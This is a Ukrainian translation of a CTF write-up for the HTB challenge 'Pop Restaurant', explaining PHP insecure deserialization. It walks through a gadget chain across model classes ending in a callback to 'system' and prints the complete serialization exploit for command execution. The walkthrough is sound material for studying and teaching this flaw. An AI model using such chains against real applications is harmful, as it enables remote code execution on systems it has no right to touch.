Поп-ланцюги — уразливість через незахищену десеріалізацію в PHP

Ця історія має на меті детально пояснити, як вирішити задачу HTB «Pop Restaurant», оскільки техніка небезпечної десеріалізації в PHP не була моєю сильною стороною.

pic

При вирішенні подібних задач ми повинні мати на увазі базові принципи:

pic

Рисунок 1: Використовуйте Snyk для виявлення небезпечної десеріалізації

Коли йдеться про вразливість небезпечної десеріалізації, ми повинні мати доступ до класів. У цій задачі використовується архітектура MVC (Model View Controller), тому ми витягнемо класи з розділу Models:

pic

Рисунок 2: Папка з моделями

У нас також є цей клас у helpers, який буде дуже корисним:

pic

Рисунок 3: Додаткова папка з класом

Усі класи:

// Helpers/ArrayHelpers.php  
namespace Helpers{  
 use \ArrayIterator;  
 class ArrayHelpers extends ArrayIterator  
 {  
 public $callback;  

 public function current()  
 {  
 $value = parent::current();  
 $debug = call_user_func($this->callback, $value);  
 return $value;  
 }  
 }  
}  

// Models/IceCreamModel.php  

class IceCream  
 {  
 public $flavors;  
 public $topping;  

 public function __invoke()  
 {  
 foreach ($this->flavors as $flavor) {  
 echo $flavor;  
 }  
 }  
 }  

// Models/PizzaModel.php  

class Pizza  
 {  
 public $price;  
 public $cheese;  
 public $size;  

 public function __destruct()  
 {  
 echo $this->size->what;  
 }  
 }  

// Models/SpaghettiModel.php  

class Spaghetti  
{  
 public $sauce;  
 public $noodles;  
 public $portion;  

 public function __get($tomato)  
 {  
 ($this->sauce)();  
 }  
}

І що нам дасть це?

Мета, по суті, полягає в виконанні команд, тому нам доведеться мислити евристично і почати з класу, який веде нас до цієї вразливості. Тому я спочатку зосереджуся на ArrayHelpers, і ви побачите чому.

class ArrayHelpers extends ArrayIterator  
 {  
 public $callback; // Функція для виклику  

 public function current()  
 {  
 $value = parent::current(); // Значення поточного елементу масиву  
 $debug = call_user_func($this->callback, $value); // callback_function($value)  
 return $value;  
 }  
 }

Це буде мій експлойти:

$array = ['whoami'];  
$helpers = new \Helpers\ArrayHelpers($array); // Зауважте: ArrayHelpers має бути в папці Helpers  
$helpers->callback = "system";

Додаткова примітка: це моє дерево директорій рішення:

pic

Тепер повернемося до об’єкта helpers, який ми створили. Щоб активувати callback для кожного елементу масиву, нам доведеться пройти через arrayhelpers.

Приклад:

$array = ['whoami'];  
$helpers = new \Helpers\ArrayHelpers($array);  

$helpers->callback = "system";  

// Приклад: виконання через foreach для демонстрації  
foreach ($helpers as $value) {  
 echo $value . "\n";  
}

Виконання:

pic

Тепер, якщо ми прочитаємо програму, де виконується десеріалізація (order.php), то жодного разу не використовуватиметься foreach, насправді тут лише відбувається десеріалізація і виклик get_class(), щоб отримати ім’я класу.

/*  
 order.php  
 ......
*/  
$order = unserialize(base64_decode($_POST['data'])); // Уразливість: атака через десеріалізацію  

$foodName = get_class($order); // Ця функція лише отримує ім’я класу  

$result = $db->Order($id,$foodName); // Надсилаємо SQL запит

Що ж нам робити? Як змусити цей foreach, на який ми так довго чекали, спрацювати?

Подивімося на клас IceCream:

class IceCream  
 {  
 public $flavors;  
 public $topping;  

 public function __invoke()  
 {  
 foreach ($this->flavors as $flavor) {  
 echo $flavor;  
 }  
 }  
 }

У нього є магічний метод, це не просто якийсь метод, який можна викликати, тому давайте розглянемо, що таке магічні методи.

Щоб підсумувати, це тригери, які, коли в об’єкті виконується певна умова, спрямовують потік програми на цей метод.

Ось пояснення кожного з них і коли вони активуються:

[

PayloadsAllTheThings/Insecure Deserialization/PHP.md at master · swisskyrepo/PayloadsAllTheThings

Список корисних payloads та обходів для Web Application Security та Pentest/CTF - PayloadsAllTheThings/Insecure…

github.com

](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/PHP.md?source=post_page-----351d77466d26--------------------------------#finding-and-using-gadgets)

Отже, оскільки магічний метод, який нас цікавить, — це _invoke, нам потрібно буде викликати наш об’єкт як функцію: (Примітка: атрибут flavors буде об’єктом $helpers, оскільки саме цей масив буде перебиратися, коли спрацює метод _invoke)

$array = ['whoami'];  
$helpers = new \Helpers\ArrayHelpers($array);  

$helpers->callback = "system";  

$ice_cream = new IceCream();  
$ice_cream->flavors=$helpers;  

// Активуємо __invoke  
$ice_cream("nothing");

pic

Тепер нам потрібно запитати себе: чи є якийсь гаджет, який може викликати наш об’єкт ice_cream як функцію?

Так, це клас Spaghetti:

class Spaghetti  
{  
 public $sauce;  
 public $noodles;  
 public $portion;  

 public function __get($tomato)  
 {  
 // Атрибут sauce як функція цікаво...  
 ($this->sauce)();  
 }  
}

Отже, все, що нам потрібно, це щоб атрибут sauce нашого об’єкта spaghetti був об’єктом icecream, і всередині icecream ми матимемо ArrayHelpers, щоб усе це активувати.

Магічний метод __get викликається, коли звертаються до приватного або неіснуючого атрибуту, дивіться:

$array = ['whoami'];  
$helpers = new \Helpers\ArrayHelpers($array);  

$helpers->callback = "system";  

$ice_cream = new IceCream();  
$ice_cream->flavors=$helpers;  

$spaghetti = new Spaghetti();  
$spaghetti->sauce=$ice_cream;  

// Активуємо __get  
$spaghetti->nothing;

Тепер нам потрібен ще один гаджет, щоб викликати __get і активувати решту, це клас Pizza:

class Pizza  
 {  
 public $price;  
 public $cheese;  
 public $size;  

 public function __destruct()  
 {  
 echo $this->size->what; // Атрибут what не існує, коли $this->size=$spaghetti , тоді отримуємо атрибут what, що активує функцію __get  
 }  
 }

Destruct викликається, коли немає більше посилань на об’єкт, тобто в будь-який момент destruct буде викликано в потоці order.php, тому це буде базовий магічний метод для активації решти.

Мій експлойти:

$array = [''];  
$helpers = new \Helpers\ArrayHelpers($array);  

$helpers->callback = "system";  

$ice_cream = new IceCream();  
$ice_cream->flavors=$helpers;  


$spaghetti = new Spaghetti();  
$spaghetti->sauce=$ice_cream;  

$spaghetti->nothing;  


$pizza = new Pizza();  
$pizza->size = $spaghetti;  

$obj_ser = serialize($pizza);  

echo $obj_ser;

pic

ls command

pic

cat flag.txt

Перекладено з: Pop Chains — Insecure Deserialization in PHP

Leave a Reply

Your email address will not be published. Required fields are marked *